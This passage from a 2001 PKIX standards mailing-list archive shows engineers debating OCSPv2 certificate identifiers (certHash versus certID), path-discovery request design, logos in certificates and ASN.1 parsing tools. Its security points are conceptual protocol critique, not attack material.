  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>so=20
  that the hash value would match</SPAN></FONT><FONT color=3D#0000ff =
face=3DArial=20
  size=3D2><SPAN class=3D229111417-29032001> a good certificate, thereby =
causing=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>the=20
  responder to return a "good" response.&nbsp; In the case that you=20
  cite</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>the=20
  responder should return a response of "unknown" (since it is highly=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>unlikely that the hash would match=20
  any</SPAN></FONT><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001> real certificate due to the =
</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>"anti-birthday attack"&nbsp; feature of =
SHA-1).&nbsp;=20
  This&nbsp;would only a security </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>issue if the Relying </SPAN></FONT><FONT=20
  color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>Party uses the=20
  certificate anyway.&nbsp; </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>But=20
  I see</SPAN></FONT><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001> your point.&nbsp; This would be a security =
issue if=20
  the responder </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>calculated and stored certHash&nbsp; for =
all the=20
  certificates</SPAN></FONT><FONT color=3D#0000ff face=3DArial =
size=3D2><SPAN=20
  class=3D229111417-29032001> that it knows </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>to=20
  be revoked, and returned a response of "not revoked" if the target=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>certHash was not found on =
its</SPAN></FONT><FONT=20
  color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001> stored=20
  list.&nbsp; This would happen whether </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>the=20
  bits of the target certificate were altered intentionally or by =
error.&nbsp;=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>The=20
  "security considerations" section of the internet-draft should point=20
  </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>out=20
  that this is not an acceptable</SPAN></FONT><FONT color=3D#0000ff =
face=3DArial=20
  size=3D2><SPAN class=3D229111417-29032001> implementation. The=20
  response</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>should always "fail-safe" to=20
  "unknown".</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D229111417-29032001>
  <P><FONT=20
  =
size=3D2>Regards,<BR><BR>Carlin<BR><BR>____________________________<BR><B=
R>-&nbsp;=20
  Carlin Covey<BR>&nbsp;&nbsp; Cylink Corporation=20
</FONT></P></SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001></SPAN></FONT>&nbsp;</DIV>
  <BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Manger, James H=20
    [mailto:[e-mail]]<BR><B>Sent:</B> Thursday, =
March 29,=20
    2001 1:05 AM<BR><B>To:</B> '[e-mail]'<BR><B>Subject:</B> =
RE:=20
    OCSPv2: 02: certHash is not unique<BR><BR></DIV></FONT><SPAN=20
    class=3D336071605-26032001>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D031501206-29032001>Peter &amp;&nbsp;Calin,</SPAN></FONT></P>
    <BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
      <BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
        <P><FONT face=3DArial><FONT color=3D#800000><FONT =
color=3D#800000>&gt;<FONT=20
        color=3D#800000>&gt;</FONT></FONT><SPAN =
class=3D031501206-29032001><FONT=20
        color=3D#0000ff size=3D2>&nbsp;</FONT></SPAN>An attacker can =
modify the<SPAN=20
        class=3D336071605-26032001> </SPAN>bytes (hence =
thumbprint)<BR><SPAN=20
        class=3D336071605-26032001>&gt;<FONT color=3D#800000>&gt;</FONT> =

        </SPAN>without modifying the semantics of a =
certificate.</FONT><FONT=20
        size=3D2><FONT color=3D#0000ff><SPAN=20
        =
class=3D031501206-29032001>&nbsp;</SPAN></FONT></FONT></FONT></P></BLOCKQ=
UOTE>
      <P><FONT face=3DArial><FONT size=3D2><FONT color=3D#0000ff><SPAN=20
      class=3D031501206-29032001>&gt;&nbsp;</SPAN></FONT>But the same =
can happen=20
      for a "fingerprint" without it ever having been raised<SPAN=20
      class=3D336071605-26032001> </SPAN>as an issue in the past<SPAN=20
      class=3D031501206-29032001><FONT=20
      =
color=3D#0000ff>&nbsp;</FONT></SPAN></FONT></FONT></P></BLOCKQUOTE>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D031501206-29032001>This=20
    is NOT an issue for the way browsers currently use "fingerprints", =
but it IS=20
    an issue for OCSP.&nbsp; These two uses rely on DIFFERENT properties =
of the=20
    certificate id.</SPAN></FONT></P>
    <P><FONT face=3DArial><FONT color=3D#0000ff size=3D2><SPAN=20
    class=3D031501206-29032001><FONT color=3D#0000ff size=3D2><SPAN=20
    class=3D031501206-29032001>In the current browser use</SPAN></FONT>, =
such an=20
    attack (modifying the "fingerprint", but not the certificate) would =
mean the=20
    user fails to recognise that the certificate is one they =
trust.&nbsp; Hence,=20
    the user will treat the trusted certificate as untrusted.&nbsp; This =
is not=20
    a security violation.&nbsp; It is a mild (and irrelevant) form of =
Denial of=20
    Service.</SPAN></FONT></FONT></P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D031501206-29032001>In=20
    the OCSP use, such an attack would mean a relying party and OCSP =
server=20
    would calculate different "fingerprints" for the same revoked=20
    certificate.&nbsp; An OCSP server with a list of "fingerprints" of =
revoked=20
    certificates, would fail to match the "fingerprint" in the OCSP =
request and=20
    would not return "revoked".&nbsp; This is a security=20
    violation.</SPAN></FONT></P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D031501206-29032001>Note: If the OCSP server kept a list of=20
    "fingerprints" of&nbsp;un-revoked certificates&nbsp;(and assumed all =
other=20
    were revoked) the attack would not succeed.&nbsp; However, this is =
not how=20
    revocation is usually implemented.</SPAN></FONT></P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D031501206-29032001>[In=20
    some vague sort of pseudo UML]<BR>Browser use assumes:&nbsp;=20
    (1)&nbsp;&nbsp;&nbsp; id&nbsp; *------1&nbsp; certificate<BR>OCSP =
use=20
    assumes:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(2)&nbsp;&nbsp; =
id&nbsp;&nbsp;&nbsp;=20
    1-----*&nbsp;&nbsp;certificate</SPAN></FONT></P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D031501206-29032001>A=20
    hash of the DER-encoded&nbsp;complete certificate - "fingerprint" -=20
    satisfies (1) but not (2).</SPAN></FONT><FONT color=3D#0000ff =
size=3D2><SPAN=20
    class=3D031501206-29032001></SPAN></FONT></P>
    <P><FONT color=3D#0000ff size=3D2><SPAN=20
    class=3D031501206-29032001></SPAN></FONT>&nbsp;</P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D031501206-29032001>Calin, </SPAN></FONT></P>
    <P><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D031501206-29032001>This=20
    issues has nothing to do with birthday attacks and nothing to do =
with the=20
    security of=20
SHA-1.</SPAN></FONT></P></BLOCKQUOTE></BLOCKQUOTE></SPAN></BODY></HTML>

------=_NextPart_000_0002_01C0B853.E7391C90--



Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id KAA19908 for <[e-mail]>; Thu, 29 Mar 2001 10:43:42 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 29 Mar 2001 18:41:25 UT
Received: from tuna.rsa.com (tuna.rsa.com [10.80.211.153]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id NAA01959 for <[e-mail]>; Thu, 29 Mar 2001 13:43:41 -0500 (EST)
Received: from rsasecurity.com ([10.81.217.242]) by tuna.rsa.com (8.8.8+Sun/8.8.8) with ESMTP id KAA12527 for <[e-mail]>; Thu, 29 Mar 2001 10:43:44 -0800 (PST)
Message-ID: <[e-mail]>
Date: Thu, 29 Mar 2001 10:37:35 -0800
From: Jeff Jacoby <[e-mail]>
Organization: RSA Security, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: ASN.1 DER parser/compiler
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jonathan Jenkyn wrote:
> 
> Bob,
> 
>         As far as parsing goes the best known free tool is P.Gutmann's
> dumpasn1.
> This can be found at his website (http://www.cs.aukuni.ac.nz/~pgut001/)

I've also found that the GUI parser on IMC's SecureConnect 2 web page to
be quite nice (Windows only, though).  Two features I've found very
useful are recursive decoding of BIT STRINGs and OCTET STRINGs, and the 
ability to save a sub-component to its own file.

The page is at:  http://www.imc.org/imc-secureconnect/

Scroll down to the very bottom of the page.  


Jeff


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA16255 for <[e-mail]>; Thu, 29 Mar 2001 09:19:44 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id TAA30684; Thu, 29 Mar 2001 19:17:37 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id TAA14728; Thu, 29 Mar 2001 19:17:48 +0200
Message-ID: <[e-mail]>
Date: Thu, 29 Mar 2001 19:17:38 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail], Stephen Kent <[e-mail]>
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve,

Since Steve Kent is not present this week, I have refrained to answer too
quickly so that we can continue this thread with him when he comes back. 

> Denis,
> 
> > " Steve introduced a nice notion, i.e. to limit the number of paths that the
> > client is prepared to accept. It could then be one only or five. If you get
> > four what asking for five, this means that you got the best the sever could
> > do."
 
> What's the server supposed to do when the client says "5"? Is it supposed
> to find all possible paths and return just 5? If so, the protocol doesn't
> have a way for the client to recover if the client doesn't like all 5
> returned.
 
> Or, is the server supposed to do whatever it likes (say finding
> one) and send that back? 

You have provided yourself the right answer to your question just below:

> In that case, the client who doesn't like the
> result has to at some point increase the number in the request. 

> But hang on, that server already has one path that satisfies the request,
> so it'll just send that back and never go looking for more paths. (Unless
> the server is stateful per-client of course:-)

The server will return the previous answer(s) and more paths whenever
possible until the number of paths that has been requested has been reached.
So no "stateful per-client" functionality is needed. :-)

> Basically, you're not sending the right signals but developing a protocol
> which can lead to a kind of livelock (maybe that's not the right term
> though? http://wombat.doc.ic.ac.uk/foldoc/foldoc.cgi?livelock defines it).
> 
> retryReference or an equivalent mechanism is needed and I haven't seen
> any other worked out proposal for an equivalent mechanism. I'm sure one
> could be proposed, it hasn't so far (or send the URL if I missed it).
>
> > You are ignoring the fact that if the client does not specify trust points,
> > the server will. If the client is not pleased with these trust points, then
> > it
> > should specify itself the trust points. AFAIR, you did not disagreed with
> > Steve during the meeting about the number of paths that, in practice, would
> > be returned, taking into account the existence of cross-certificates.
 
> But the server hasn't told the client which trust paths it picked, so if
> the client asks again then the client has no way to say that it didn't like
> the previous answer.

When the client does not specify trust points, the server will. If
the client does not like the trust point chosen by the server, he may then
specify or *change the validation conditions*, e.g. the trust point(s), the
root key(s), the associated name and/or policy constraints or the validation
policy.

If these changes in the selection of the validation policy are done, then
the client will get different results. We should no forget that DPD clients
are PKI aware, since they perform the validation themselves, so they will
certainly be able to adjust the request parameters to their needs. 
 
> > > 3) unnecessary and inefficient bloat: given that 90% (or whatever) of the time
> > > any path is a fine answer - we shouldn't bloat 100% of responses for the sake
> > > of a small number of cases
> >
> > If the criteria is finely tuned, then you are right and only one path will
> > be returned. If the criteria is "broad", e.g. three root keys with no other
> > constraints, then you may get more and any path is a fine answer to the
> > question raised, but not any more when applying additional local conditions.
> 
> This is the "that's a bad path construction policy" argument I mentioned
> in my first mail.
> 
> > I agree with you that "statefull server" might be an overstatement. Let us
> > speak of cache management. I would think that it may be appropriate for
> > efficiency reasons to keep track of already found paths. This does not mean
> > that the leaf certificate must be kept, but that all the CA certificates
> > above that path might be kept. Now this cached information should not be
> > associated with a retryReference number, so that *any* subsequent client can
> > get advantage of a speed improvement as soon as the CA from the leaf
> > certificate is the same.
> 
> There's nothing to prevent implementations doing such but that level of
> cache management does not need to be visible in the protocol. The path
> level does however due to the inherent "incompleteness" of path construction
> policy.
> 
> > However, all these details are implementation
> > details, not visible at a protocol level. Hence we do not need to support a
> > retryReference number.
> 
> We clearly disagree.
> 
> I think one of the things that Steve K. is keen we do more of is think about
> state machines. 
>
> IMO, the retryReference is a useful trick that matches well with
> the state machine folks would implement (and which probably does need more work
> in the ocspv2 draft). It seems that the putative alternative (client says: "I'll
> take up to 5") leads to a state machine which (admittedly in rare cases) causes
> the protocol to fail to do its job.
> 
> In any case, the ocspv2 proposal contains the retryReference for now and I think
> we've aired the arguments enough for today at least. Probably better to look at
> it again in the next draft of ocspv2 and see what we all think then.

It not because it was there in version -02, that it should be maintained in
the next version, version -03. The ocspv2 draft is no more than a draft for
discussions. :-)

Using your terminology, my conclusion, at this time, would be:

A "stateful per-client" server can be avoided:

1) by specify the maximum number of paths that should be returned, and
2) by refining the parameters of the validation policy, in case the first
   request has too broad parameters.

The advantage of being able to get more that one path at a time may also
save the number of exchanges.

However, don't forget that is more a case study, since currently, in
practice, they are not so many paths from a given leaf certificate 
to one root key. :-)

Regards,

Denis

> Stephen.
> --
> ____________________________________________________________
> Stephen Farrell
> Baltimore Technologies,   tel: (direct line) [phone]
> 39 Parkgate Street,                     fax: [phone]
> Dublin 8.                mailto:[e-mail]
> Ireland                             http://www.baltimore.com


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA12699 for <[e-mail]>; Thu, 29 Mar 2001 08:21:59 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id SAA24346 for <[e-mail]>; Thu, 29 Mar 2001 18:21:14 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id SAA05582 for <[e-mail]>; Thu, 29 Mar 2001 18:21:25 +0200
Message-ID: <[e-mail]>
Date: Thu, 29 Mar 2001 18:21:19 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: pkix <[e-mail]>
Subject: Re: some thoughts re DPD and DPV
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter,

> Denis Pinkas <[e-mail]> writes:
 
> >There are other objections, since the model you are referring is also making
> >additional major changes from the PKIX model, in particular about the way to
> >check the validity of a certificate chain and the nomination of the OCSP
> >servers responsible for a given CA. Once again, we are in the PKIX WG with a
> >well defined model based on X.509. There are certainly alternatives to this
> >model. Alernatives may have their own merits. However, they should not be
> >progressed in the PKIX WG.
> 
> Uhh, I think you're reading way too much into my suggestion.  All I was doing
> was making the observation that currently when you query an OCSP responder it
> replies with "I could tell you all sorts of things about this cert, but instead
> I'm going to return a partial response and leave you to guess the rest".  By
> adding a small amount of additional information (which the client is free to
> ignore if they want) the responder may provide a more complete response than
> they currently can.  

If using a new extension in the request, a client wants to ask more
information about a certificate, e.g. "is that certificate present in 
the private Directory of the CA ? ", then this can be done by asking the
question explicitly. Clients worried by the response to this question should
ask the question using an extension. If they are not worried, then they
should not ask. 

In any case, as Ambarish indicated, we should change the three meanings of
an OCSP v1 response, i.e. "not revoked", "revoked", "unkown", and thus we
should not add any other status at that level. 

> If the client wants to stick religiously to the current
> OCSP/PKIX/whatever model they're free to ignore the extra information - all
> this is is supplementary data, if you don't like it you can ignore it, if you
> think it's useful and it saves you some work, you can use it.

We should no overload responses with responses to questions that have not
been requested.
 
> >Everyone can make its own private extensions and in that case, and we are not
> >going to stop this.
> 
> The problem is that since there appears to be at least some demand for this,
> everyone *will* add their own private extension, all of which will have
> slightly incompatible semantics, all of which will be completely different, and
> most of which will be undocumented.  

I agree with you that an *extension in the request* could be defined to ask
for this additional information, i.e. either using the
singleRequestExtensions sub-field of the Request structure or using the
requestExtensions sub-field of the tbsRequest. 

Note: In the case of ISIS, I believe that the former choice has been
selected.

In any case, I would recommend to define extensions in separate RFCs, so
that it is easier to be able to claim conformance when this fuctionality is
supported. A further advantage would be to support such extensions both with 
OCSPv1 or OCSPv2 (whenever it exists).

> Even worse, some groups may decide to
> override the semantics of OCSP itself (eg ISIS).  Rather than allow things to
> degenerate to the point where you need to handle a dozen different ways of
> doing the same thing, the RFC should include a single standard way of doing it
> with well-defined semantics which everyone can follow (or ignore if they feel so
> inclined).

Denis

> Peter.


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA11851 for <[e-mail]>; Thu, 29 Mar 2001 08:12:41 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id SAA12700; Thu, 29 Mar 2001 18:11:57 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id SAA10854; Thu, 29 Mar 2001 18:12:08 +0200
Message-ID: <[e-mail]>
Date: Thu, 29 Mar 2001 18:12:02 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Ambarish Malpani <[e-mail]>
CC: [e-mail]
Subject: Re: OCSPv2: 02: certHash is not unique
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ambarish,

I second your position.

Denis

> Mike,
>     As I have said a few times before, I strongly oppose the
> idea of using certHash as a method of identifying the certificate
> whose status you want to check. It forces the responder to have
> access to information that is not normally available to most
> responders - even those run by most CAs (AFAIK).
> 
> I don't know that we are saving all that many bytes by using
> certHash as opposed to certID.
> 
> It just doesn't make sense to me that we provide 5-6 different
> ways of identifying a certificate in OCSP - I think it will
> lead to a lot more interop problems, without buying us any
> additional functionality.
> 
> Regards,
> Ambarish
> 
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
> 
> > -----Original Message-----
> > From: Michael Myers [mailto:[e-mail]]
> > Sent: Wednesday, March 28, 2001 5:59 PM
> > To: [e-mail]; [e-mail]; [e-mail]
> > Subject: RE: OCSPv2: 02: certHash is not unique
> >
> >
> > Peter,
> >
> > After some correspondence, I've come to the same conclusion
> > despite my prior
> > proposal to Jim.  The high-level intent of the presence of an
> > option to
> > hash/fingerprint the cert was to enable alignment to known
> > practices, not
> > produce yet another variant.
> >
> > Mike
> >
> > > -----Original Message-----
> > > From: [e-mail] [mailto:[e-mail]]
> > > Sent: Thursday, March 29, 2001 9:47 AM
> > > To: [e-mail]; [e-mail]
> > > Subject: Re: OCSPv2: 02: certHash is not unique
> > >
> > >
> > > "Carlin Covey" <[e-mail]> writes:
> > >
> > > >I am quite content with the suggestion that Jim made concerning
> > > computing the
> > > >certHash over only the signed portions of the certificate.
> > >
> > > I'm not.  I already have to create, track, store, and process a
> > > whole pile of
> > > certificate identifiers, and adding yet another wierdo
> > identifier which is
> > > compatible with nothing else in existence to that pile when
> > > there's no need for
> > > it to be incompatible is something which I can really do without.
> > >  The SHA-1
> > > hash of the whole cert as "fingerprint" is pretty much
> > > universally used and
> > > accepted, unless there's a very strong reason not to use it I
> > > don't see why we
> > > need to invent yet another new identifier.
> > >
> > > Peter.
> > >
> > >
> >


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA04562 for <[e-mail]>; Thu, 29 Mar 2001 07:13:31 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Thu, 29 Mar 2001 07:13:32 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Thu, 29 Mar 2001 07:13:32 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26M4QZ>; Thu, 29 Mar 2001 07:13:17 -0800
Content-return: allowed
Date: Thu, 29 Mar 2001 07:13:16 -0800
From: Frank Balluffi <[e-mail]>
Subject: RE: Logotypes [not] in certificates
To: "'Bodo Moeller'" <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Bodo Moeller said:

> So it is likely that logos will be trusted *instead of* looking at the
> certificate details, rather than in addition to that.  I.e., most
> users won't even notice to which country the logo applies.  This opens
> a new can of worms.  Just one example: Until a couple of years ago,
> the owner of the Bayer name and the Bayer cross logo for the US and
> Canada was a company that had little to do with Bayer AG.  (In 1994,
> Bayer AG bought the division of Sterling Winthrop that had previously
> used these trademarks in North America; then, in 1995, Bayer's US and
> Canadian subsidiaries changed their names from "Miles Inc." and "Miles
> Canada Inc." into "Bayer Corporation" and "Bayer Inc.", respectively.)
> It is because of issues like this that distinguished names are
> hierarchical.

The level of trust will depend upon the application. A bad application is a
bad application. As RFC 3039 says about biometric information, logos should
be used to "enhance identification of the subject."

Frank


Received: from exafix.addtrust.com ([212.112.175.83]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA02422 for <[e-mail]>; Thu, 29 Mar 2001 06:43:28 -0800 (PST)
Received: from santesson.addtrust.com ([192.168.101.117]) by exafix.addtrust.com with Microsoft SMTPSVC(5.0.2195.1600); Thu, 29 Mar 2001 16:42:07 +0200
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Thu, 29 Mar 2001 16:43:32 +0200
To: Dean Povey <[e-mail]>, Aram Perez <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: Re: Logotypes in certificates 
Cc: [e-mail]
In-Reply-To: <[e-mail]>
References: <Your message of "Thu, 22 Mar 2001 22:05:11 PST." <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 29 Mar 2001 14:42:07.0796 (UTC) FILETIME=[6DFABF40:01C0B85E]

Dean,

At 20:30 2001-03-23 +1000, Dean Povey wrote:
>We also need to think beyond just logos.  What about photographs of employees
>in Certificates?  This is such a useful thing to be able to do.  I am
>cognisant of the reticence of people to stuff too much in certs, and I think
>in general this is a good principle.  But providing it is done sensibly I 
>think
>there is a fair bit to suggest that a scheme like this would significantly
>contribute to the security of PKI systems.

Photographs in certificates are already covered in RFC 3039 (see 
biometricInfo extension).

My original proposal for logos actually used the same technique to include 
logos as is used in RFC 3039 to include photos and other displayable images 
of biometric-characteristics.

/Stefan



Received: from cdc-info.cdc.informatik.tu-darmstadt.de (cdc-info.cdc.informatik.tu-darmstadt.de [130.83.23.100]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA23424 for <[e-mail]>; Thu, 29 Mar 2001 04:48:37 -0800 (PST)
Received: from cdc-ws1.cdc.informatik.tu-darmstadt.de (cdc-ws1 [130.83.23.129]) by cdc-info.cdc.informatik.tu-darmstadt.de (Postfix) with ESMTP id 0547C2C79; Thu, 29 Mar 2001 14:48:26 +0200 (MET DST)
Received: (from moeller@localhost) by cdc-ws1.cdc.informatik.tu-darmstadt.de (8.9.3+Sun/8.9.3) id OAA03073; Thu, 29 Mar 2001 14:48:20 +0200 (MEST)
X-Authentication-Warning: cdc-ws1.cdc.informatik.tu-darmstadt.de: moeller set sender to [e-mail] using -f
Date: Thu, 29 Mar 2001 14:48:19 +0200
From: Bodo Moeller <[e-mail]>
To: Dean Povey <[e-mail]>
Cc: [e-mail]
Subject: Re: Logotypes [not] in certificates
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2i
In-Reply-To: <[e-mail]>; from [e-mail] on Tue, Mar 27, 2001 at 10:13:11AM +1000

On Tue, Mar 27, 2001 at 10:13:11AM +1000, Dean Povey wrote:

> [...]         The idea is to make user's more involved in the process, not 
> more removed from it.  The point about the logo is it is in your face.

So it is likely that logos will be trusted *instead of* looking at the
certificate details, rather than in addition to that.  I.e., most
users won't even notice to which country the logo applies.  This opens
a new can of worms.  Just one example: Until a couple of years ago,
the owner of the Bayer name and the Bayer cross logo for the US and
Canada was a company that had little to do with Bayer AG.  (In 1994,
Bayer AG bought the division of Sterling Winthrop that had previously
used these trademarks in North America; then, in 1995, Bayer's US and
Canadian subsidiaries changed their names from "Miles Inc." and "Miles
Canada Inc." into "Bayer Corporation" and "Bayer Inc.", respectively.)
It is because of issues like this that distinguished names are
hierarchical.

> Browser designers tend to hide away Certificate details.

If this is considered a problem, it should be changed.  Displaying
some text (as found in most certificates these days) is not
essentially harder than displaying a logo; quite in contrary.


-- 
Bodo Möller <[e-mail]>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. [phone], Fax [phone]


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA07602 for <[e-mail]>; Thu, 29 Mar 2001 02:09:09 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Thu, 29 Mar 2001 02:09:09 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Thu, 29 Mar 2001 02:09:08 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26MT5B>; Thu, 29 Mar 2001 02:08:54 -0800
Content-return: allowed
Date: Thu, 29 Mar 2001 02:08:54 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Mike,
    As I have said a few times before, I strongly oppose the
idea of using certHash as a method of identifying the certificate
whose status you want to check. It forces the responder to have
access to information that is not normally available to most
responders - even those run by most CAs (AFAIK).

I don't know that we are saving all that many bytes by using
certHash as opposed to certID.

It just doesn't make sense to me that we provide 5-6 different
ways of identifying a certificate in OCSP - I think it will
lead to a lot more interop problems, without buying us any
additional functionality.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
